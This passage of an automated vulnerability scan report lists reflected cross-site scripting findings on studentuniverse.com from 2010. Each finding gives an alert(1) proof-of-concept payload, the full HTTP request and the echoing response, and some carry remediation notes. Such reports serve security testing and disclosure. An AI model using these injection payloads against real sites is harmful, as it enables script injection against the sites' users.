1.61. http://www.studentuniverse.com/fly/searchUtil [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.studentuniverse.com
Path:   /fly/searchUtil

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload c4bfc<script>alert(1)</script>746b80e92b4 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /fly/c4bfc<script>alert(1)</script>746b80e92b4 HTTP/1.1
Host: www.studentuniverse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0; testCookie=; SuOriginatingAirport=HOU; ClientID=D908FC.14926;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Powered-By: Servlet 2.4; JBoss-4.0.2 (build: CVSTag=JBoss_4_0_2 date=200505022023)/Tomcat-5.5
Set-Cookie: cobrand=29841991; Domain=.studentuniverse.com; Expires=Mon, 13-Dec-2010 20:56:49 GMT; Path=/
Pragma: No-cache
Cache-Control: no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
p3p: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Content-Type: text/html;charset=UTF-8
Content-Language: en
Content-Length: 88
Date: Sat, 13 Nov 2010 20:56:48 GMT
Connection: close
Set-Cookie: Coyote-2-c0a83399=c0a83c1b:0; path=/

The requested resource (/fly/c4bfc<script>alert(1)</script>746b80e92b4) is not available

1.62. http://www.studentuniverse.com/grouptravelrequest [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.studentuniverse.com
Path:   /grouptravelrequest

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload ff89c<script>alert(1)</script>6d5a9238f96 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /grouptravelrequestff89c<script>alert(1)</script>6d5a9238f96 HTTP/1.1
Host: www.studentuniverse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0; testCookie=; SuOriginatingAirport=HOU; ClientID=D908FC.14926;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Powered-By: Servlet 2.4; JBoss-4.0.2 (build: CVSTag=JBoss_4_0_2 date=200505022023)/Tomcat-5.5
Set-Cookie: cobrand=29841991; Domain=.studentuniverse.com; Expires=Tue, 14-Dec-2010 02:05:13 GMT; Path=/
Pragma: No-cache
Cache-Control: no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
p3p: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Content-Type: text/html;charset=UTF-8
Content-Language: en
Content-Length: 102
Date: Sun, 14 Nov 2010 02:05:12 GMT
Connection: close
Set-Cookie: Coyote-2-c0a83399=c0a83c1b:0; path=/

The requested resource (/grouptravelrequestff89c<script>alert(1)</script>6d5a9238f96) is not available

1.63. http://www.studentuniverse.com/includes/airportCodesPopupTop.jsp [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.studentuniverse.com
Path:   /includes/airportCodesPopupTop.jsp

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 27b75<script>alert(1)</script>fe0c495bb82 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /includes/airportCodesPopupTop.jsp27b75<script>alert(1)</script>fe0c495bb82 HTTP/1.1
Host: www.studentuniverse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0; testCookie=; SuOriginatingAirport=HOU; ClientID=D908FC.14926;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Powered-By: Servlet 2.4; JBoss-4.0.2 (build: CVSTag=JBoss_4_0_2 date=200505022023)/Tomcat-5.5
Set-Cookie: cobrand=29841991; Domain=.studentuniverse.com; Expires=Mon, 13-Dec-2010 20:56:52 GMT; Path=/
Pragma: No-cache
Cache-Control: no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
p3p: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Content-Type: text/html;charset=UTF-8
Content-Language: en
Content-Length: 117
Date: Sat, 13 Nov 2010 20:56:51 GMT
Connection: close
Set-Cookie: Coyote-2-c0a83399=c0a83c1b:0; path=/

The requested resource (/includes/airportCodesPopupTop.jsp27b75<script>alert(1)</script>fe0c495bb82) is not available

1.64. http://www.studentuniverse.com/includes/airportCodesPopupTop.jsp [field parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.studentuniverse.com
Path:   /includes/airportCodesPopupTop.jsp

Issue detail

The value of the field request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 24436"><script>alert(1)</script>b179a584a81 was submitted in the field parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /includes/airportCodesPopupTop.jsp?field=outboundAirport24436"><script>alert(1)</script>b179a584a81 HTTP/1.1
Host: www.studentuniverse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0; testCookie=; SuOriginatingAirport=HOU; ClientID=D908FC.14926;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Powered-By: Servlet 2.4; JBoss-4.0.2 (build: CVSTag=JBoss_4_0_2 date=200505022023)/Tomcat-5.5
Set-Cookie: cobrand=29841991; Domain=.studentuniverse.com; Expires=Tue, 14-Dec-2010 02:05:04 GMT; Path=/
Pragma: No-cache
Cache-Control: no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
p3p: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Content-Type: text/html;charset=UTF-8
Content-Language: en
Date: Sun, 14 Nov 2010 02:05:03 GMT
Connection: close
Set-Cookie: Coyote-2-c0a83399=c0a83c1b:0; path=/


<script>
$(function(){
   $(".facebox .faceboxTable").css("width","650px");
   $(".facebox .body").css("width","630px");
})
</script>


<div class="container">
<div id="popupTitle">Ci
...[SNIP]...
<a id="apCodeLookup-A" href="/includes/airportCodesPopupBottom.jsp?forChar=A&field=outboundAirport24436"><script>alert(1)</script>b179a584a81" onclick="lookupCodes(this);return false">
...[SNIP]...

1.65. http://www.studentuniverse.com/includes/airportCodesPopupTop.jsp [field parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.studentuniverse.com
Path:   /includes/airportCodesPopupTop.jsp

Issue detail

The value of the field request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d6846"-alert(1)-"665baba1d81 was submitted in the field parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /includes/airportCodesPopupTop.jsp?field=outboundAirportd6846"-alert(1)-"665baba1d81 HTTP/1.1
Host: www.studentuniverse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0; testCookie=; SuOriginatingAirport=HOU; ClientID=D908FC.14926;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Powered-By: Servlet 2.4; JBoss-4.0.2 (build: CVSTag=JBoss_4_0_2 date=200505022023)/Tomcat-5.5
Set-Cookie: cobrand=29841991; Domain=.studentuniverse.com; Expires=Tue, 14-Dec-2010 02:05:05 GMT; Path=/
Pragma: No-cache
Cache-Control: no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
p3p: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Content-Type: text/html;charset=UTF-8
Content-Language: en
Date: Sun, 14 Nov 2010 02:05:04 GMT
Connection: close
Set-Cookie: Coyote-2-c0a83399=c0a83c1b:0; path=/


<script>
$(function(){
   $(".facebox .faceboxTable").css("width","650px");
   $(".facebox .body").css("width","630px");
})
</script>


<div class="container">
<div id="popupTitle">Ci
...[SNIP]...
<script type="text/javascript">
pageTracker._trackPageview("/includes/airportCodesPopupTop.jsp?field=outboundAirportd6846"-alert(1)-"665baba1d81");
</script>
...[SNIP]...

1.66. http://www.studentuniverse.com/includes/airportCodesPopupTop.jsp [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.studentuniverse.com
Path:   /includes/airportCodesPopupTop.jsp

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 35c7c"-alert(1)-"0d5d379e187 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /includes/airportCodesPopupTop.jsp?35c7c"-alert(1)-"0d5d379e187=1 HTTP/1.1
Host: www.studentuniverse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0; testCookie=; SuOriginatingAirport=HOU; ClientID=D908FC.14926;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Powered-By: Servlet 2.4; JBoss-4.0.2 (build: CVSTag=JBoss_4_0_2 date=200505022023)/Tomcat-5.5
Set-Cookie: cobrand=29841991; Domain=.studentuniverse.com; Expires=Mon, 13-Dec-2010 20:56:52 GMT; Path=/
Pragma: No-cache
Cache-Control: no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
p3p: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Content-Type: text/html;charset=UTF-8
Content-Language: en
Date: Sat, 13 Nov 2010 20:56:51 GMT
Connection: close
Set-Cookie: Coyote-2-c0a83399=c0a83c1b:0; path=/


<script>
$(function(){
   $(".facebox .faceboxTable").css("width","650px");
   $(".facebox .body").css("width","630px");
})
</script>


<div class="container">
<div id="popupTitle">Ci
...[SNIP]...
<script type="text/javascript">
pageTracker._trackPageview("/includes/airportCodesPopupTop.jsp?35c7c"-alert(1)-"0d5d379e187=1");
</script>
...[SNIP]...

1.67. http://www.studentuniverse.com/includes/airsearchWait.jsp [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.studentuniverse.com
Path:   /includes/airsearchWait.jsp

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload cc1f8<script>alert(1)</script>278120a9d28 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /includes/airsearchWait.jspcc1f8<script>alert(1)</script>278120a9d28 HTTP/1.1
Host: www.studentuniverse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0; testCookie=; SuOriginatingAirport=HOU; ClientID=D908FC.14926;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Powered-By: Servlet 2.4; JBoss-4.0.2 (build: CVSTag=JBoss_4_0_2 date=200505022023)/Tomcat-5.5
Set-Cookie: cobrand=29841991; Domain=.studentuniverse.com; Expires=Mon, 13-Dec-2010 20:56:47 GMT; Path=/
Pragma: No-cache
Cache-Control: no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
p3p: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Content-Type: text/html;charset=UTF-8
Content-Language: en
Content-Length: 110
Date: Sat, 13 Nov 2010 20:56:47 GMT
Connection: close
Set-Cookie: Coyote-2-c0a83399=c0a83c1b:0; path=/

The requested resource (/includes/airsearchWait.jspcc1f8<script>alert(1)</script>278120a9d28) is not available

1.68. http://www.studentuniverse.com/nospring/ajax/search [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.studentuniverse.com
Path:   /nospring/ajax/search

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 4f88d<script>alert(1)</script>178f2d367a9 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /4f88d<script>alert(1)</script>178f2d367a9/ajax/search HTTP/1.1
Host: www.studentuniverse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0; testCookie=; SuOriginatingAirport=HOU; ClientID=D908FC.14926;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Powered-By: Servlet 2.4; JBoss-4.0.2 (build: CVSTag=JBoss_4_0_2 date=200505022023)/Tomcat-5.5
Set-Cookie: cobrand=29841991; Domain=.studentuniverse.com; Expires=Mon, 13-Dec-2010 20:57:57 GMT; Path=/
Pragma: No-cache
Cache-Control: no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
p3p: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Content-Type: text/html;charset=UTF-8
Content-Language: en
Content-Length: 96
Date: Sat, 13 Nov 2010 20:57:56 GMT
Connection: close
Set-Cookie: Coyote-2-c0a83399=c0a83c1b:0; path=/

The requested resource (/4f88d<script>alert(1)</script>178f2d367a9/ajax/search) is not available

1.69. http://www.studentuniverse.com/nospring/ajax/search [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.studentuniverse.com
Path:   /nospring/ajax/search

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload bb6c9<script>alert(1)</script>0169ef84b195bc526 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Request

GET /bb6c9<script>alert(1)</script>0169ef84b195bc526/ajax/search?timestamp=1289702526366 HTTP/1.1
Host: www.studentuniverse.com
Proxy-Connection: keep-alive
Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX
Origin: http://www.studentuniverse.com
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; testCookie=; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Powered-By: Servlet 2.4; JBoss-4.0.2 (build: CVSTag=JBoss_4_0_2 date=200505022023)/Tomcat-5.5
Set-Cookie: cobrand=29841991; Domain=.studentuniverse.com; Expires=Mon, 13-Dec-2010 22:01:23 GMT; Path=/
Pragma: No-cache
Cache-Control: no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
p3p: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Content-Type: text/html;charset=UTF-8
Content-Language: en
Date: Sat, 13 Nov 2010 22:01:23 GMT
Set-Cookie: Coyote-2-c0a83399=c0a83c1b:0; path=/
Vary: Accept-Encoding
Content-Length: 102

The requested resource (/bb6c9<script>alert(1)</script>0169ef84b195bc526/ajax/search) is not available

1.70. http://www.studentuniverse.com/popups/flexibilityInfo.jsp [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.studentuniverse.com
Path:   /popups/flexibilityInfo.jsp

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload a98bb<script>alert(1)</script>4a1bd913bde was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /popups/flexibilityInfo.jspa98bb<script>alert(1)</script>4a1bd913bde HTTP/1.1
Host: www.studentuniverse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0; testCookie=; SuOriginatingAirport=HOU; ClientID=D908FC.14926;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Powered-By: Servlet 2.4; JBoss-4.0.2 (build: CVSTag=JBoss_4_0_2 date=200505022023)/Tomcat-5.5
Set-Cookie: cobrand=29841991; Domain=.studentuniverse.com; Expires=Tue, 14-Dec-2010 02:05:03 GMT; Path=/
Pragma: No-cache
Cache-Control: no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
p3p: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Content-Type: text/html;charset=UTF-8
Content-Language: en
Content-Length: 110
Date: Sun, 14 Nov 2010 02:05:02 GMT
Connection: close
Set-Cookie: Coyote-2-c0a83399=c0a83c1b:0; path=/

The requested resource (/popups/flexibilityInfo.jspa98bb<script>alert(1)</script>4a1bd913bde) is not available

1.71. http://www.studentuniverse.com/popups/flexibilityInfo.jsp [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.studentuniverse.com
Path:   /popups/flexibilityInfo.jsp

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 5a7b0"-alert(1)-"35274d3829e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /popups/flexibilityInfo.jsp?5a7b0"-alert(1)-"35274d3829e=1 HTTP/1.1
Host: www.studentuniverse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0; testCookie=; SuOriginatingAirport=HOU; ClientID=D908FC.14926;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Powered-By: Servlet 2.4; JBoss-4.0.2 (build: CVSTag=JBoss_4_0_2 date=200505022023)/Tomcat-5.5
Set-Cookie: cobrand=29841991; Domain=.studentuniverse.com; Expires=Tue, 14-Dec-2010 02:05:03 GMT; Path=/
Pragma: No-cache
Cache-Control: no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
p3p: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Content-Type: text/html;charset=UTF-8
Content-Language: en
Date: Sun, 14 Nov 2010 02:05:02 GMT
Connection: close
Set-Cookie: Coyote-2-c0a83399=c0a83c1b:0; path=/


<div class="container">
<div id="popupTitle">Flexibility Searching</div>
<div class="scroll-pane">
<div id="popupContentArea">

<!-- Begin cached content "flexibility_info" - updated on T
...[SNIP]...
<script type="text/javascript">
pageTracker._trackPageview("/popups/flexibilityInfo.jsp?5a7b0"-alert(1)-"35274d3829e=1");
</script>
...[SNIP]...

1.72. http://www.studentuniverse.com/popups/verifiedUser.jsp [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.studentuniverse.com
Path:   /popups/verifiedUser.jsp

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 3a1e9<script>alert(1)</script>dde9182a26 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /popups/verifiedUser.jsp3a1e9<script>alert(1)</script>dde9182a26 HTTP/1.1
Host: www.studentuniverse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0; testCookie=; SuOriginatingAirport=HOU; ClientID=D908FC.14926;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Powered-By: Servlet 2.4; JBoss-4.0.2 (build: CVSTag=JBoss_4_0_2 date=200505022023)/Tomcat-5.5
Set-Cookie: cobrand=29841991; Domain=.studentuniverse.com; Expires=Tue, 14-Dec-2010 02:05:04 GMT; Path=/
Pragma: No-cache
Cache-Control: no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
p3p: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Content-Type: text/html;charset=UTF-8
Content-Language: en
Content-Length: 106
Date: Sun, 14 Nov 2010 02:05:03 GMT
Connection: close
Set-Cookie: Coyote-2-c0a83399=c0a83c1b:0; path=/

The requested resource (/popups/verifiedUser.jsp3a1e9<script>alert(1)</script>dde9182a26) is not available

1.73. http://www.studentuniverse.com/popups/verifiedUser.jsp [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.studentuniverse.com
Path:   /popups/verifiedUser.jsp

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ad118"-alert(1)-"7f57db73431 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /popups/verifiedUser.jsp?ad118"-alert(1)-"7f57db73431=1 HTTP/1.1
Host: www.studentuniverse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0; testCookie=; SuOriginatingAirport=HOU; ClientID=D908FC.14926;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Powered-By: Servlet 2.4; JBoss-4.0.2 (build: CVSTag=JBoss_4_0_2 date=200505022023)/Tomcat-5.5
Set-Cookie: cobrand=29841991; Domain=.studentuniverse.com; Expires=Tue, 14-Dec-2010 02:05:04 GMT; Path=/
Pragma: No-cache
Cache-Control: no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
p3p: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Content-Type: text/html;charset=UTF-8
Content-Language: en
Date: Sun, 14 Nov 2010 02:05:03 GMT
Connection: close
Set-Cookie: Coyote-2-c0a83399=c0a83c1b:0; path=/


<div class="container">
<div id="popupTitle">You are a verified member.</div>
<div class="scroll-pane">
<div id="popupContentArea">

</div>
</div>
</div>


<script type="text/javascript">
pageTracker._trackPageview("/popups/verifiedUser.jsp?ad118"-alert(1)-"7f57db73431=1");
</script>
...[SNIP]...

1.74. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/dynamic/dynamicInfo.js [User-Agent HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://www.studentuniverse.com
Path:   /Build7.6.3.2_20/javascript/dynamic/dynamicInfo.js

Issue detail

The value of the User-Agent HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 420bb"-alert(1)-"21afd00a67e was submitted in the User-Agent HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /Build7.6.3.2_20/javascript/dynamic/dynamicInfo.js HTTP/1.1
Host: www.studentuniverse.com
Proxy-Connection: keep-alive
Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7420bb"-alert(1)-"21afd00a67e
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Powered-By: Servlet 2.4; JBoss-4.0.2 (build: CVSTag=JBoss_4_0_2 date=200505022023)/Tomcat-5.5
Set-Cookie: cobrand=29841991; Domain=.studentuniverse.com; Expires=Mon, 13-Dec-2010 22:00:36 GMT; Path=/
Pragma: No-cache
Cache-Control: no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/javascript;charset=ISO-8859-1
Date: Sat, 13 Nov 2010 22:00:35 GMT
Set-Cookie: Coyote-2-c0a83399=c0a83c1b:0; path=/
Vary: Accept-Encoding
Content-Length: 10368


var currentTime = new Date("Sat Nov 13 17:00:36 EST 2010");

loggedIn = false;

hasResults = false;
var resultsPerPage = 20;
var ipAddress = "174.121.222.18";
var userAgent = "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7420bb"-alert(1)-"21afd00a67e";
var clientId = "D908FC.14926";

function getCurrentDateRef() {
   return new Date(currentTime.getTime());
}

// JQUERY tabs
$(document).ready(function(){
       
   $('#airsearchresultslist >
...[SNIP]...

1.75. http://www.studentuniverse.com/ [JSESSIONID cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.studentuniverse.com
Path:   /

Issue detail

The value of the JSESSIONID cookie is copied into an HTML comment. The payload 97abe--><script>alert(1)</script>9b6a518e94f was submitted in the JSESSIONID cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET / HTTP/1.1
Host: www.studentuniverse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D4097abe--><script>alert(1)</script>9b6a518e94f; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0; testCookie=; SuOriginatingAirport=HOU; ClientID=D908FC.14926;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
